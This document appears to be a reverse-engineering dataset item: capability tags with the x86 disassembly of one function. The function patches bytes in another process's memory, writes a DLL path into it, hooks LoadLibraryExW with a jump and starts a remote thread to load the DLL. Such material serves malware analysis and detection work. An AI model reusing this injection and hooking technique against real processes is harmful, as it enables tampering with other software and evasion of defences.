Function at 0x431010
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Inject dll
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push 0xffffffffffffffff
push 0x453da8
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x230
push ebx
push ebp
push esi
push edi
push ecx
xor esi, esi
mov ecx, esp
mov dword [esp + 0x2c], esp
push str.VSMsgHelper.dll
mov dword [esp + 0x250], esi
mov dword [esp + 0x1c], esi
call sub.MFC42u.DLL_CString::CString_4
call fcn.00431590
mov ebx, dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov edi, eax
add esp, 4
cmp edi, esi
mov esi, dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
je 0x431223
mov ecx, dword [0x4710ac]
lea eax, [esp + 0x14]
push eax
lea ebp, [edi + 0x864d]
push 0x40
push 2
push ebp
push ecx
mov byte [esp + 0x26], 0
mov byte [esp + 0x27], 0
call esi
mov ecx, dword [0x4710ac]
lea edx, [esp + 0x18]
push edx
lea eax, [esp + 0x16]
push 2
push eax
push ebp
push ecx
call ebx
cmp byte [esp + 0x12], 0x7d
jne 0x4310cb
cmp byte [esp + 0x13], 0x39
jne 0x4310cb
mov eax, dword [0x4710ac]
lea edx, [esp + 0x18]
push edx
push 1
push 0x46eea8
push ebp
push eax
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov edx, dword [esp + 0x14]
mov eax, dword [0x4710ac]
lea ecx, [esp + 0x14]
push ecx
push edx
push 2
push ebp
push eax
call esi
mov edx, dword [0x4710ac]
lea ecx, [esp + 0x14]
push ecx
lea ebp, [edi + 0x86cd]
push 0x40
push 2
push ebp
push edx
call esi
mov edx, dword [0x4710ac]
lea eax, [esp + 0x18]
push eax
lea ecx, [esp + 0x16]
push 2
push ecx
push ebp
push edx
call ebx
cmp byte [esp + 0x12], 0x7d
jne 0x431137
cmp byte [esp + 0x13], 0x46
jne 0x431137
mov ecx, dword [0x4710ac]
lea eax, [esp + 0x18]
push eax
push 1
push 0x46eea8
push ebp
push ecx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov eax, dword [esp + 0x14]
mov ecx, dword [0x4710ac]
lea edx, [esp + 0x14]
push edx
push eax
push 2
push ebp
push ecx
call esi
mov eax, dword [0x4710ac]
lea edx, [esp + 0x14]
push edx
lea ebp, [edi + 0x8d7e]
push 0x40
push 2
push ebp
push eax
call esi
mov eax, dword [0x4710ac]
lea ecx, [esp + 0x18]
push ecx
lea edx, [esp + 0x16]
push 2
push edx
push ebp
push eax
call ebx
cmp byte [esp + 0x12], 0x75
jne 0x4311a2
cmp byte [esp + 0x13], 0x25
jne 0x4311a2
mov edx, dword [0x4710ac]
lea ecx, [esp + 0x18]
push ecx
push 2
push 0x46eea4
push ebp
push edx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov ecx, dword [esp + 0x14]
mov edx, dword [0x4710ac]
lea eax, [esp + 0x14]
push eax
push ecx
push 2
push ebp
push edx
call esi
mov ecx, dword [0x4710ac]
lea eax, [esp + 0x14]
push eax
add edi, 0x8b5e
push 0x40
push 2
push edi
push ecx
call esi
mov ecx, dword [0x4710ac]
lea edx, [esp + 0x18]
push edx
lea eax, [esp + 0x16]
push 2
push eax
push edi
push ecx
call ebx
cmp byte [esp + 0x12], 0x75
jne 0x43120e
cmp byte [esp + 0x13], 0x25
jne 0x43120e
mov eax, dword [0x4710ac]
lea edx, [esp + 0x18]
push edx
push 2
push 0x46eea4
push edi
push eax
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov edx, dword [esp + 0x14]
mov eax, dword [0x4710ac]
lea ecx, [esp + 0x14]
push ecx
push edx
push 2
push edi
push eax
call esi
mov ecx, dword [esp + 0x254]
lea edx, [esp + 0x38]
push ecx
push edx
call dword [sym.imp.MSVCRT.dll_wcscpy]
lea eax, [esp + 0x40]
push eax
call dword [sym.imp.MSVCRT.dll_wcslen]
mov ebp, dword [esp + 0x25c]
add esp, 0xc
lea edi, [eax + eax + 2]
push 4
push 0x1000
push edi
push 0
push ebp
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
push 0
lea ecx, [esp + 0x3c]
push edi
push ecx
push eax
push ebp
mov dword [esp + 0x40], eax
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov ebp, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
push str.LoadLibraryW
push edi
call ebp
push str.LoadLibraryExW
push edi
mov dword [esp + 0x30], eax
call ebp
mov edx, eax
mov ecx, dword [edx]
mov dword [esp + 0x1c], ecx
mov cx, word [edx + 4]
mov word [esp + 0x20], cx
mov cl, byte [esp + 0x1c]
mov dl, byte [edx + 6]
cmp cl, 0x6a
mov byte [esp + 0x22], dl
jne 0x43135b
cmp byte [esp + 0x1e], 0x68
jne 0x43135b
push ecx
sub eax, edi
mov ecx, esp
mov dword [esp + 0x28], esp
push 0x46ee68
mov ebp, eax
call sub.MFC42u.DLL_CString::CString_4
call fcn.00431590
mov edx, dword [0x4710ac]
add esp, 4
mov dword [esp + 0x24], eax
add ebp, eax
lea eax, [esp + 0x18]
lea ecx, [esp + 0x30]
push eax
push 7
push ecx
push ebp
push edx
call ebx
cmp byte [esp + 0x30], 0xe9
jne 0x43135b
mov eax, dword [esp + 0x1f]
mov ecx, dword [esp + 0x24]
sub eax, edi
lea edx, [esp + 0x14]
add eax, ecx
push edx
mov dword [esp + 0x23], eax
mov eax, dword [0x4710ac]
push 0x40
push 7
push ebp
push eax
call esi
mov eax, dword [0x4710ac]
lea ecx, [esp + 0x18]
push ecx
lea edx, [esp + 0x20]
push 7
push edx
push ebp
push eax
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov edx, dword [esp + 0x14]
mov eax, dword [0x4710ac]
lea ecx, [esp + 0x14]
push ecx
push edx
push 7
push ebp
push eax
call esi
mov ecx, dword [esp + 0x2c]
mov edx, dword [esp + 0x28]
mov eax, dword [esp + 0x250]
push 0
push 0
push ecx
push edx
push 0
push 0
push eax
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
test eax, eax
mov dword [esp + 0x248], 0xffffffff
lea ecx, [esp + 0x254]
jne 0x43139a
call sub.MFC42u.DLL_CString::CString
xor eax, eax
jmp 0x4313a4
call sub.MFC42u.DLL_CString::CString
mov eax, 1
mov ecx, dword [esp + 0x240]
pop edi
pop esi
pop ebp
mov dword fs:[0], ecx
pop ebx
add esp, 0x23c
ret